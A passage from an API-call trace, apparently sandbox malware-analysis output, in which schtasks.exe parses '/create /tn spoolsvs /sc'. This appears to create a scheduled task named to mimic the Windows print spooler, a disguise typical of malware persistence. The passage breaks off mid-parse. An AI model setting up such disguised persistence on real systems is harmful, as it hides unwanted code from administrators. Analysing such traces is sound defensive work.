Size=0x20) returned 0x235a50 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235a80 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba00 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ab0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ae0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b10 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b40 [0159.183] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0159.183] SetLastError (dwErrCode=0x0) [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235b70 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235ba0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235bd0 [0159.183] GetProcessHeap () returned 0x220000 [0159.183] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c00 [0159.183] GetProcessHeap () returned 0x220000 [0159.184] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235c30 [0159.184] GetProcessHeap () returned 0x220000 [0159.184] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba20 [0159.184] _memicmp (_Buf1=0x23ba20, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.184] GetProcessHeap () returned 0x220000 [0159.184] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x208) returned 0x23bbc0 [0159.184] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x23bbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0159.184] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0159.185] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0159.185] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0159.186] GetProcessHeap () returned 0x220000 [0159.186] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x74e) returned 0x23c170 [0159.186] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0159.186] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x23c170 | out: lpData=0x23c170) returned 1 [0159.186] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0159.186] VerQueryValueW (in: pBlock=0x23c170, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xbf008, puLen=0xbf070 | out: lplpBuffer=0xbf008*=0x23c50c, puLen=0xbf070) returned 1 [0159.188] _memicmp (_Buf1=0x23ba20, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.188] _vsnwprintf (in: _Buffer=0x23bbc0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xbefe8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0159.188] VerQueryValueW (in: pBlock=0x23c170, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xbf078, puLen=0xbf068 | out: lplpBuffer=0xbf078*=0x23c338, puLen=0xbf068) returned 1 [0159.188] lstrlenW (lpString="schtasks.exe") returned 12 [0159.189] lstrlenW (lpString="schtasks.exe") returned 12 [0159.189] lstrlenW (lpString=".EXE") returned 4 [0159.189] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0159.192] lstrlenW (lpString="schtasks.exe") returned 12 [0159.192] lstrlenW (lpString=".EXE") returned 4 [0159.192] _memicmp (_Buf1=0x23ba20, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.192] lstrlenW (lpString="schtasks") returned 8 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x235d20 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23ca80 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cab0 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cae0 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba40 [0159.193] _memicmp (_Buf1=0x23ba40, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa0) returned 0x23bfc0 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cb10 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cb40 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cb70 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba60 [0159.193] _memicmp (_Buf1=0x23ba60, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x200) returned 0x23d250 [0159.193] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d250, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0159.193] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0159.193] GetProcessHeap () returned 0x220000 [0159.193] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237a20 [0159.194] _vsnwprintf (in: _Buffer=0x23bfc0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xbefe8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0159.194] GetProcessHeap () returned 0x220000 [0159.194] GetProcessHeap () returned 0x220000 [0159.194] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c170) returned 1 [0159.194] GetProcessHeap () returned 0x220000 [0159.194] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c170) returned 0x74e [0159.194] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c170 | out: hHeap=0x220000) returned 1 [0159.194] SetLastError (dwErrCode=0x0) [0159.194] GetThreadLocale () returned 0x409 [0159.194] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.194] lstrlenW (lpString="?") returned 1 [0159.194] GetThreadLocale () returned 0x409 [0159.194] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.194] lstrlenW (lpString="create") returned 6 [0159.195] GetThreadLocale () returned 0x409 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.195] lstrlenW (lpString="delete") returned 6 [0159.195] GetThreadLocale () returned 0x409 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.195] lstrlenW (lpString="query") returned 5 [0159.195] GetThreadLocale () returned 0x409 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.195] lstrlenW (lpString="change") returned 6 [0159.195] GetThreadLocale () returned 0x409 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.195] lstrlenW (lpString="run") returned 3 [0159.195] GetThreadLocale () returned 0x409 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.195] lstrlenW (lpString="end") returned 3 [0159.195] GetThreadLocale () returned 0x409 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.195] lstrlenW (lpString="showsid") returned 7 [0159.195] GetThreadLocale () returned 0x409 [0159.195] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0159.195] SetLastError (dwErrCode=0x0) [0159.195] SetLastError (dwErrCode=0x0) [0159.195] lstrlenW (lpString="/create") returned 7 [0159.195] lstrlenW (lpString="-/") returned 2 [0159.195] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.195] lstrlenW (lpString="?") returned 1 [0159.195] lstrlenW (lpString="?") returned 1 [0159.195] GetProcessHeap () returned 0x220000 [0159.195] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c170 [0159.195] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.195] GetProcessHeap () returned 0x220000 [0159.195] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23c190 [0159.195] lstrlenW (lpString="create") returned 6 [0159.195] GetProcessHeap () returned 0x220000 [0159.195] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c1b0 [0159.195] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.195] GetProcessHeap () returned 0x220000 [0159.195] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x23c1d0 [0159.195] _vsnwprintf (in: _Buffer=0x23c190, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|?|") returned 3 [0159.195] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.195] lstrlenW (lpString="|?|") returned 3 [0159.196] lstrlenW (lpString="|create|") returned 8 [0159.196] SetLastError (dwErrCode=0x490) [0159.196] lstrlenW (lpString="create") returned 6 [0159.196] lstrlenW (lpString="create") returned 6 [0159.196] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.196] GetProcessHeap () returned 0x220000 [0159.196] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c190) returned 1 [0159.196] GetProcessHeap () returned 0x220000 [0159.196] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c190, Size=0x14) returned 0x23c1f0 [0159.196] lstrlenW (lpString="create") returned 6 [0159.196] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.196] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.196] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.196] lstrlenW (lpString="|create|") returned 8 [0159.196] lstrlenW (lpString="|create|") returned 8 [0159.196] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0159.196] SetLastError (dwErrCode=0x0) [0159.196] SetLastError (dwErrCode=0x0) [0159.196] SetLastError (dwErrCode=0x0) [0159.196] lstrlenW (lpString="/tn") returned 3 [0159.196] lstrlenW (lpString="-/") returned 2 [0159.196] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.196] lstrlenW (lpString="?") returned 1 [0159.196] lstrlenW (lpString="?") returned 1 [0159.196] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.196] lstrlenW (lpString="tn") returned 2 [0159.196] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.196] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|?|") returned 3 [0159.196] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.196] lstrlenW (lpString="|?|") returned 3 [0159.196] lstrlenW (lpString="|tn|") returned 4 [0159.196] SetLastError (dwErrCode=0x490) [0159.196] lstrlenW (lpString="create") returned 6 [0159.196] lstrlenW (lpString="create") returned 6 [0159.196] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.196] lstrlenW (lpString="tn") returned 2 [0159.196] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.196] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.197] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.197] lstrlenW (lpString="|create|") returned 8 [0159.197] lstrlenW (lpString="|tn|") returned 4 [0159.197] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0159.197] SetLastError (dwErrCode=0x490) [0159.197] lstrlenW (lpString="delete") returned 6 [0159.197] lstrlenW (lpString="delete") returned 6 [0159.197] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.197] lstrlenW (lpString="tn") returned 2 [0159.197] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.197] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|delete|") returned 8 [0159.197] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.197] lstrlenW (lpString="|delete|") returned 8 [0159.197] lstrlenW (lpString="|tn|") returned 4 [0159.197] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0159.197] SetLastError (dwErrCode=0x490) [0159.197] lstrlenW (lpString="query") returned 5 [0159.197] lstrlenW (lpString="query") returned 5 [0159.197] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.197] lstrlenW (lpString="tn") returned 2 [0159.197] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.197] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|query|") returned 7 [0159.197] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.197] lstrlenW (lpString="|query|") returned 7 [0159.197] lstrlenW (lpString="|tn|") returned 4 [0159.197] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0159.197] SetLastError (dwErrCode=0x490) [0159.197] lstrlenW (lpString="change") returned 6 [0159.197] lstrlenW (lpString="change") returned 6 [0159.197] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.197] lstrlenW (lpString="tn") returned 2 [0159.197] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.197] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|change|") returned 8 [0159.197] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.197] lstrlenW (lpString="|change|") returned 8 [0159.197] lstrlenW (lpString="|tn|") returned 4 [0159.197] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0159.198] SetLastError (dwErrCode=0x490) [0159.198] lstrlenW (lpString="run") returned 3 [0159.198] lstrlenW (lpString="run") returned 3 [0159.198] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.198] lstrlenW (lpString="tn") returned 2 [0159.198] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.198] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|run|") returned 5 [0159.198] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.198] lstrlenW (lpString="|run|") returned 5 [0159.198] lstrlenW (lpString="|tn|") returned 4 [0159.198] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0159.198] SetLastError (dwErrCode=0x490) [0159.198] lstrlenW (lpString="end") returned 3 [0159.198] lstrlenW (lpString="end") returned 3 [0159.198] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.198] lstrlenW (lpString="tn") returned 2 [0159.198] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.198] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|end|") returned 5 [0159.198] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.198] lstrlenW (lpString="|end|") returned 5 [0159.198] lstrlenW (lpString="|tn|") returned 4 [0159.198] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0159.198] SetLastError (dwErrCode=0x490) [0159.198] lstrlenW (lpString="showsid") returned 7 [0159.198] lstrlenW (lpString="showsid") returned 7 [0159.198] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.198] GetProcessHeap () returned 0x220000 [0159.198] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1f0) returned 1 [0159.198] GetProcessHeap () returned 0x220000 [0159.198] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c1f0, Size=0x16) returned 0x23c1f0 [0159.198] lstrlenW (lpString="tn") returned 2 [0159.198] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.198] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|showsid|") returned 9 [0159.198] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|tn|") returned 4 [0159.198] lstrlenW (lpString="|showsid|") returned 9 [0159.198] lstrlenW (lpString="|tn|") returned 4 [0159.199] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0159.199] SetLastError (dwErrCode=0x490) [0159.199] SetLastError (dwErrCode=0x490) [0159.199] SetLastError (dwErrCode=0x0) [0159.199] lstrlenW (lpString="/tn") returned 3 [0159.199] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0159.199] SetLastError (dwErrCode=0x490) [0159.199] SetLastError (dwErrCode=0x0) [0159.199] lstrlenW (lpString="/tn") returned 3 [0159.199] GetProcessHeap () returned 0x220000 [0159.199] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c190 [0159.199] GetProcessHeap () returned 0x220000 [0159.199] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cba0 [0159.199] SetLastError (dwErrCode=0x0) [0159.199] SetLastError (dwErrCode=0x0) [0159.199] lstrlenW (lpString="spoolsvs") returned 8 [0159.199] lstrlenW (lpString="-/") returned 2 [0159.199] StrChrIW (lpStart="-/", wMatch=0x73) returned 0x0 [0159.199] SetLastError (dwErrCode=0x490) [0159.199] SetLastError (dwErrCode=0x490) [0159.199] SetLastError (dwErrCode=0x0) [0159.199] lstrlenW (lpString="spoolsvs") returned 8 [0159.199] StrChrIW (lpStart="spoolsvs", wMatch=0x3a) returned 0x0 [0159.199] SetLastError (dwErrCode=0x490) [0159.199] SetLastError (dwErrCode=0x0) [0159.199] lstrlenW (lpString="spoolsvs") returned 8 [0159.199] GetProcessHeap () returned 0x220000 [0159.199] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x12) returned 0x23d490 [0159.199] GetProcessHeap () returned 0x220000 [0159.199] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cbd0 [0159.199] SetLastError (dwErrCode=0x0) [0159.199] SetLastError (dwErrCode=0x0) [0159.199] lstrlenW (lpString="/sc") returned 3 [0159.199] lstrlenW (lpString="-/") returned 2 [0159.199] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0159.199] lstrlenW (lpString="?") returned 1 [0159.199] lstrlenW (lpString="?") returned 1 [0159.199] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.199] lstrlenW (lpString="sc") returned 2 [0159.199] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.199] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|?|") returned 3 [0159.199] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.200] lstrlenW (lpString="|?|") returned 3 [0159.200] lstrlenW (lpString="|sc|") returned 4 [0159.200] SetLastError (dwErrCode=0x490) [0159.200] lstrlenW (lpString="create") returned 6 [0159.200] lstrlenW (lpString="create") returned 6 [0159.200] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.200] lstrlenW (lpString="sc") returned 2 [0159.200] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.200] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|create|") returned 8 [0159.200] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.200] lstrlenW (lpString="|create|") returned 8 [0159.200] lstrlenW (lpString="|sc|") returned 4 [0159.200] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0159.200] SetLastError (dwErrCode=0x490) [0159.200] lstrlenW (lpString="delete") returned 6 [0159.200] lstrlenW (lpString="delete") returned 6 [0159.200] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.200] lstrlenW (lpString="sc") returned 2 [0159.200] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.200] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|delete|") returned 8 [0159.200] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.200] lstrlenW (lpString="|delete|") returned 8 [0159.200] lstrlenW (lpString="|sc|") returned 4 [0159.200] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0159.200] SetLastError (dwErrCode=0x490) [0159.200] lstrlenW (lpString="query") returned 5 [0159.200] lstrlenW (lpString="query") returned 5 [0159.200] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.200] lstrlenW (lpString="sc") returned 2 [0159.200] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.200] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|query|") returned 7 [0159.200] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.200] lstrlenW (lpString="|query|") returned 7 [0159.200] lstrlenW (lpString="|sc|") returned 4 [0159.200] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0159.200] SetLastError (dwErrCode=0x490) [0159.200] lstrlenW (lpString="change") returned 6 [0159.201] lstrlenW (lpString="change") returned 6 [0159.201] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.201] lstrlenW (lpString="sc") returned 2 [0159.201] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.201] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|change|") returned 8 [0159.201] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.201] lstrlenW (lpString="|change|") returned 8 [0159.201] lstrlenW (lpString="|sc|") returned 4 [0159.201] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0159.201] SetLastError (dwErrCode=0x490) [0159.201] lstrlenW (lpString="run") returned 3 [0159.201] lstrlenW (lpString="run") returned 3 [0159.201] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.201] lstrlenW (lpString="sc") returned 2 [0159.201] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.201] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|run|") returned 5 [0159.201] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.201] lstrlenW (lpString="|run|") returned 5 [0159.201] lstrlenW (lpString="|sc|") returned 4 [0159.201] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0159.201] SetLastError (dwErrCode=0x490) [0159.201] lstrlenW (lpString="end") returned 3 [0159.201] lstrlenW (lpString="end") returned 3 [0159.201] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.201] lstrlenW (lpString="sc") returned 2 [0159.201] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.201] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|end|") returned 5 [0159.201] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.201] lstrlenW (lpString="|end|") returned 5 [0159.201] lstrlenW (lpString="|sc|") returned 4 [0159.201] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0159.201] SetLastError (dwErrCode=0x490) [0159.201] lstrlenW (lpString="showsid") returned 7 [0159.201] lstrlenW (lpString="showsid") returned 7 [0159.201] _memicmp (_Buf1=0x23c170, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.201] lstrlenW (lpString="sc") returned 2 [0159.201] _memicmp (_Buf1=0x23c1b0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0159.202] _vsnwprintf (in: _Buffer=0x23c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|showsid|") returned 9 [0159.202] _vsnwprintf (in: _Buffer=0x23c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbeff8 | out: _Buffer="|sc|") returned 4 [0159.202] 